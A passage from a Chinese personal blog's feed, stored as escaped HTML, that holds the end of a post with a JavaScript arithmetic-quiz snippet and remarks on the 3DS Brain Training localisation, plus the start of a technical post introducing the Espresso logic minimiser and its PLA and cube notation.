#AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;                return&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;            }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        }&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        let count = 0, correct = 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        textarea.addEventListener(&amp;#39;keyup&amp;#39;, (e) =&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            const num&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; parseInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;textarea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            const&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;question&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; answer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; queue&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;            ++&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;count&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            queue&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;shift&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;answer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; num&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                ++&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;correct&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                log.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;innerText&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;对&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;innerText&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;            }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;                log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;innerText&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;错: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;question&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; = &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;answer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; ≠ &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;num&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;innerText&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;`&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;            updateQuestion&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            accuracy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;innerText&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; Math&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;round&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;correct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; count&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        }&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;details&gt;
&lt;h2 id=&quot;关于3DS版的汉化&quot;&gt;关于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3DS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版的汉化&lt;&#x2F;h2&gt;
&lt;p&gt;神游曾发行过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.ique.com&#x2F;DSi&#x2F;DSiWare&#x2F;kndjknrj&#x2F;index.html&quot;&gt;DSi&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版的《一下下脑年龄
DSi&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;锻炼
算数篇》&lt;&#x2F;a&gt;，却没发行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3DS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版。Switch&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版的制作人员中可以看到神游和港任员工。3DS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版可能也是他们一起汉化的，但只有&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.nintendo.com.hk&#x2F;brain_training&#x2F;&quot;&gt;港任发行出去了&lt;&#x2F;a&gt;——这让人想起那&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.gcores.com&#x2F;articles&#x2F;107007&quot;&gt;12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个由神游翻译好却从未被发行的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GBA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;游戏&lt;&#x2F;a&gt;——有趣的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3DS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;锁区，但&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;bbs.a9vg.com&#x2F;forum.php?mod=viewthread&amp;amp;tid=3547148&quot;&gt;港区的《魔鬼锻炼》插到神游的机器里也可以玩&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;3DS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版的汉化真的是特别好，全程普通话配音先按下不表。单说&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3DS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Switch&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版都有的朗读小游戏：前者使用了大量中文作品来本地化&lt;span class=&quot;halt&quot;&gt;；&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-3&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-3-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-3-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[3]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-3-content&quot;&gt;从《谏逐客书》到《死水&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，具体作家作品请见&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.nintendo.com.hk&#x2F;brain_training&#x2F;man_asrj.pdf&quot;&gt;港任的说明书&lt;&#x2F;a&gt;。我玩的时候感觉自己是文盲。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;后者直接把这个模式给砍了（英文版还在&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。这是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Switch&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版另一点让我感到可惜的地方。&lt;&#x2F;p&gt;
&lt;p&gt;到了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Switch&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版哪个语言都没配音，任天堂有够敷衍。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;simple-devilish-calculatons
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;simple-devilish-calculatons&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>Espresso的cube</title>
    <published>2022-07-19T11:13:21+01:00</published>
    <updated>2022-07-19T11:13:21+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/espresso-cube/" type="text/html" />
    <id>https://emptystack.top/espresso-cube/</id>
    <content type="html">
      &lt;p&gt;我准备介绍一下&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Espresso。这是第一篇，讲一讲它用来表示简单合取式（elementary
conjunction，又称&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;term&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;或&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cube）的数据结构和相关操作。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;espresso-cube&#x2F;#我说的是哪个Espresso&quot;&gt;我说的是哪个Espresso&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;espresso-cube&#x2F;#输入与输出：PLA&quot;&gt;输入与输出：PLA&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;espresso-cube&#x2F;#Rocket_Chip的表示方法&quot;&gt;Rocket Chip的表示方法&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;espresso-cube&#x2F;#Positional_cube_notation&quot;&gt;Positional cube notation&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;espresso-cube&#x2F;#交集、并集&quot;&gt;交集、并集&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;espresso-cube&#x2F;#Consensus&quot;&gt;Consensus&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;espresso-cube&#x2F;#cube_struct&quot;&gt;cube_struct&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;espresso-cube&#x2F;#结尾&quot;&gt;结尾&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;我说的是哪个Espresso&quot;&gt;我说的是哪个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Espresso&lt;&#x2F;h2&gt;
&lt;p&gt;Espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;指一系列逻辑最小化程序（约等于卡诺图究极进化版&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。Espresso-I&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;诞生于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1981&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年一个关于逻辑操控的研讨会，它是使用递归进行最小化的第一个实现。次年，Espresso-II&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和它的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;APL&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;实现诞生了。第三年，伯克利的研究生&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Richard
Rudell&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;C&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;实现了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Espresso-IIC。&lt;&#x2F;p&gt;
&lt;p&gt;Espresso-II&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;所处理的是布尔逻辑，每个变量只可能有三种情况：不存在、&lt;span class=&quot;katex-formula&quot;
data-display=&quot;false&quot;&gt;x&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;katex-formula&quot;
data-display=&quot;false&quot;&gt;\bar{x}&lt;&#x2F;span&gt;。Ruddel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1986&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年将&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Espresso-IIC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;扩展到了多值逻辑（Espresso-MV&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，这项改进让布尔函数的输出可以像输入一样处理，提高了运行速度。第二年，Ruddel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;又用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的基础设施和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Quine–McCluskey&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的思想实现了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Espresso-EXACT，自此，Espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不再只是启发式算法。&lt;&#x2F;p&gt;
&lt;p&gt;Quine&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;提出质蕴含项可以构成最小化解，所以最初大家都把所有质蕴含项生成出来再排除——直到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1994&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年，Patrick
C.
McGeer&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Signature
cube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;改进了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Espresso-EXACT——在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Espresso-SIGNATURE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中，得到最小化解不再需要生成所有质蕴含项。&lt;&#x2F;p&gt;
&lt;p&gt;由于资金问题，伯克利最后一次更新&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的时间停在了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1995&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年。我们现在仍然可以下载&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;ptolemy.berkeley.edu&#x2F;projects&#x2F;embedded&#x2F;pubs&#x2F;downloads&#x2F;espresso&#x2F;&quot;&gt;伯克利的最后一版&lt;&#x2F;a&gt;：这一版包含了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Espresso-MV、Espresso-EXACT、Espresso-SIGNATURE。本文标题里的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Espresso，就是指这一版程序。&lt;&#x2F;p&gt;
&lt;p&gt;如果你想亲自编译、运行它，可以克隆&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chipsalliance&#x2F;espresso&#x2F;tree&#x2F;2.x&quot;&gt;chipsalliance&#x2F;espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2.x&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分支&lt;&#x2F;a&gt;，这一版使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CMake&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;构建、修改了一些阻止编译的问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;输入与输出：PLA&quot;&gt;输入与输出：PLA&lt;&#x2F;h2&gt;
&lt;p&gt;Espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;处理的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Programmable
logic array，比如下面的例子&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;:&lt;&#x2F;p&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;010----0 0001000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0000--0- 0010100&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0010-0-- 0011101&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;001--1-- 0100110&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0-00--1- 0100110&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;1010---- 1001111&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0011---- 0100110&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;01000--- 0101111&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;010-1--- 0110110&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0111---- 1010111&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;1001---- 0110111&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0101---- 0110111&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;空格左边的是输入（PLA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的与平面&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，每一行代表一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cube，例如“0111----”代表&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;katex-formula&quot;
data-display=&quot;false&quot;&gt;\bar{x_0} x_1 x_2 x_3&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;空格右边的是输出（PLA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的或平面&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，如果要看第一个输出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;katex-formula&quot;
data-display=&quot;false&quot;&gt;y_0&lt;&#x2F;span&gt;，就要看“1010----”和“0111----”构成的析取范式。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;一张卡诺图所处理的数据就是一个单输出的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PLA，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;相当于可以同时处理几张卡诺图。同时处理多个的秘诀就是不再局限于布尔逻辑，把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PLA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中的输出部分当作和输出一样的变量一起处理。也就是说，&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;0010100”不再代表有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;7&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个可以取&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0、1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的输出变量，而代表一个可以取&lt;span 